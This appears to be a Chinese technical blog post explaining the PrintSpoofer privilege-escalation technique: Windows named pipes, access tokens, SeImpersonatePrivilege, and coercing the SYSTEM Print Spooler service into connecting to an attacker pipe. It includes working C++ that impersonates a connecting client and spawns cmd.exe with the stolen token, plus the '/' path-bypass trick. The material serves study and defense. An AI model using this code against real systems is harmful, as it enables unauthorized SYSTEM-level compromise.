命名管道(Named pipes)

命名管道由命名管道的服务端创建,使用windows API 创建管道实例,实现进程与进程之间的通信

1.命名管道用于进程与进程之间双向的通信,通过安全检查的进程都可以访问命名管道

2.命名管道所有的实例共享一个管道名称(如\\.\pipe\MyPipe,通过CreateNamedPipe函数设置),实例之间根据句柄和缓存区区分

3.命名管道有服务端和客户端,一个服务端可以对多个客户端,且不同的客户端使用不同的管道实例

可以通过file://.//pipe//查看Windows 系统上所有激活的命名管道列表

或者是在powershell中执行s

1
Get-ChildItem \\.\pipe\

访问令牌

访问令牌是描述进程或线程的安全上下文的对象。 令牌中的信息包括与进程或线程关联的用户帐户的标识和特权。 用户登录时,系统会通过将密码与存储在安全数据库中的信息进行比较来验证用户的密码。 如果 对密码进行身份验证,系统将生成访问令牌。 代表此用户执行的每个进程都有此访问令牌的副本。

令牌结构

主令牌(Primary)

主令牌是进程的默认令牌,在进程创建时分配

模拟令牌

当进程需要模仿客户端执行操作时,会生成模拟令牌,能否生成模拟令牌还得看客户端主令牌的令牌模拟级别。模拟令牌一般与线程相关,主令牌一般与进程相关

下图三个windows的API在获得模拟令牌后用来模拟客户端创造进程

SeImpersonatePrivilege 是 Windows操作系统中的一种用户权限,允许用户在身份验证后模拟其他用户的身份

默认情况下,SeImpersonatePrivilege 权限被分配给以下用户和组:

  • 本地管理员组的成员
  • 本地服务帐户
  • 由服务控制管理器(COM)启动的服务

可以使用whoami /priv | findstr 'SeImpersonatePrivilege' 看有没有对应的权限,llssqlserver一般拥有该权限

ImpersonateNamedPipeClient()

提权漏洞的关键在于ImpersonateNamedPipeClient()函数,该函数能让命名管道服务端模拟当前已连接且刚刚发送过消息的客户端。如果是SYSTEM权限的客户端连接服务端,调用ImpersonateNamedPipeClient,此时,服务端所在线程的安全上下文就会模拟(Impersonate) 成SYSTEM客户端的安全上下文,其线程的Access Token会被替换为SYSTEM级别的Token(模拟令牌)

根据令牌的知识,就能知道该函数成功模拟客户端的前提条件了

命名管道服务端具体实现

来自于P001water

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <iostream>
#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <sddl.h>

using namespace std;

void ImpersonatedUser(HANDLE hToken)
{
DWORD dwCreationFlags = 0;
dwCreationFlags = CREATE_UNICODE_ENVIRONMENT;
BOOL g_bInteractWithConsole = TRUE;
LPWSTR pwszCurrentDirectory = NULL;
dwCreationFlags |= g_bInteractWithConsole ? 0 : CREATE_NEW_CONSOLE;
LPVOID lpEnvironment = NULL;
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
HANDLE hSystemTokenDup = INVALID_HANDLE_VALUE;

DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup);
CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, NULL, L"cmd.exe", dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi);
return;
}

int wmain(int argc, wchar_t* argv[])
{
LPWSTR pwszPipeName = argv[1];
TOKEN_GROUPS* group_token = NULL;
HANDLE hPipe = INVALID_HANDLE_VALUE;
HANDLE hToken = INVALID_HANDLE_VALUE;
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
DWORD buffer_size = 0;

InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;WD)", 1, &((&sa)->lpSecurityDescriptor), NULL);

hPipe = CreateNamedPipe(pwszPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa);
wprintf(L"[*] Named pipe '%ls' listening...\n", pwszPipeName);
ConnectNamedPipe(hPipe, NULL);
wprintf(L"[+] A client connected!\n");

ImpersonateNamedPipeClient(hPipe);
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);
ImpersonatedUser(hToken);
CloseHandle(hPipe);
return 0;
}

提权核心

1
2
3
ImpersonateNamedPipeClient(hPipe);
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);
ImpersonatedUser(hToken); // 用偷来的token创建cmd.exe

到这里就清楚怎么提权了,需要一个system权限且满足令牌模拟等级的命名管道客户端来主动连接有SeImpersonatePrivilege权限的命名管道服务端

打印机Printer

打印机对应的服务是print Spooler,对应的进程是Spoolsv.exe,而且默认是启动的,并且在后台持续运行,且具有system权限,这就是我们想要的命名管道客户端,后面就得解决主动连接的问题

MS-RPRN协议用于打印客户端和打印服务器之间的通信,底层依赖于RPC协议,简单来说RPC协议可以让RPC客户端调用RPC服务端的函数,在RPC服务端执行完后返回结果给RPC客户端。

Spoolsv.exe作为打印机服务端,也是RPC的服务端,它的RPC的接口通过命名管道来公开,也就是说Spoolsv.exe同时还是命名管道的服务端,我们可以通过命名管道来调用Spoolsv.exe的方法函数。关键是Windows API中的RpcRemoteFindFirstPrinterChangeNotificationEx()函数,它可以创建一个远程更改通知对象,该对象监视对打印机对象的更改,并使用 RpcRouterReplyPrinterRpcRouterReplyPrinterEx 将更改通知发送到打印客户端,并且就是通过命名管道实现进程之间的通信,如下图,如果我们把打印客户端的地址设置为恶意的命名管道服务端,就能让具有system权限的Spoolsv.exe通过命名管道访问恶意服务达到提权的目的

1
2
3
4
5
6
7
8
DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD fdwFlags,
[in] DWORD fdwOptions,
[in, string, unique] wchar_t* pszLocalMachine,
[in] DWORD dwPrinterLocal,
[in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions
);

pszLocalMachine 参数就是用来指定通知回调服务器的地址

Spoolsv.exe还有一个servername的检测需要绕过,因为根据 MS-RPRN 协议规范,打印服务的 RPC 接口注册在 \pipe\spoolss 这个固定的命名管道端点上。因此服务端只会尝试连接名为 spoolss 的管道,而且这个命名管道是已经被创建的,所以无法再次创建或者说覆盖。

可以在 pszLocalMachine 参数中使用 / 来绕过路径验证,将管道路径拼接为攻击者控制的路径,从而成功连接并窃取令牌

例如传入\\server_name/aa时,命名管道的路径就会拼接为\\server_name\aa\pipe\spoolss从而通过验证。

参考链接:https://p001water.github.io/potatoes%E5%AE%B6%E6%97%8F/2023/07/24/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%91%BD%E5%90%8D%E7%AE%A1%E9%81%93%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%A8%A1%E6%8B%9F%E5%92%8CPrintSpoofer%E5%8E%9F%E7%90%86%E6%8E%A2%E7%A9%B6.html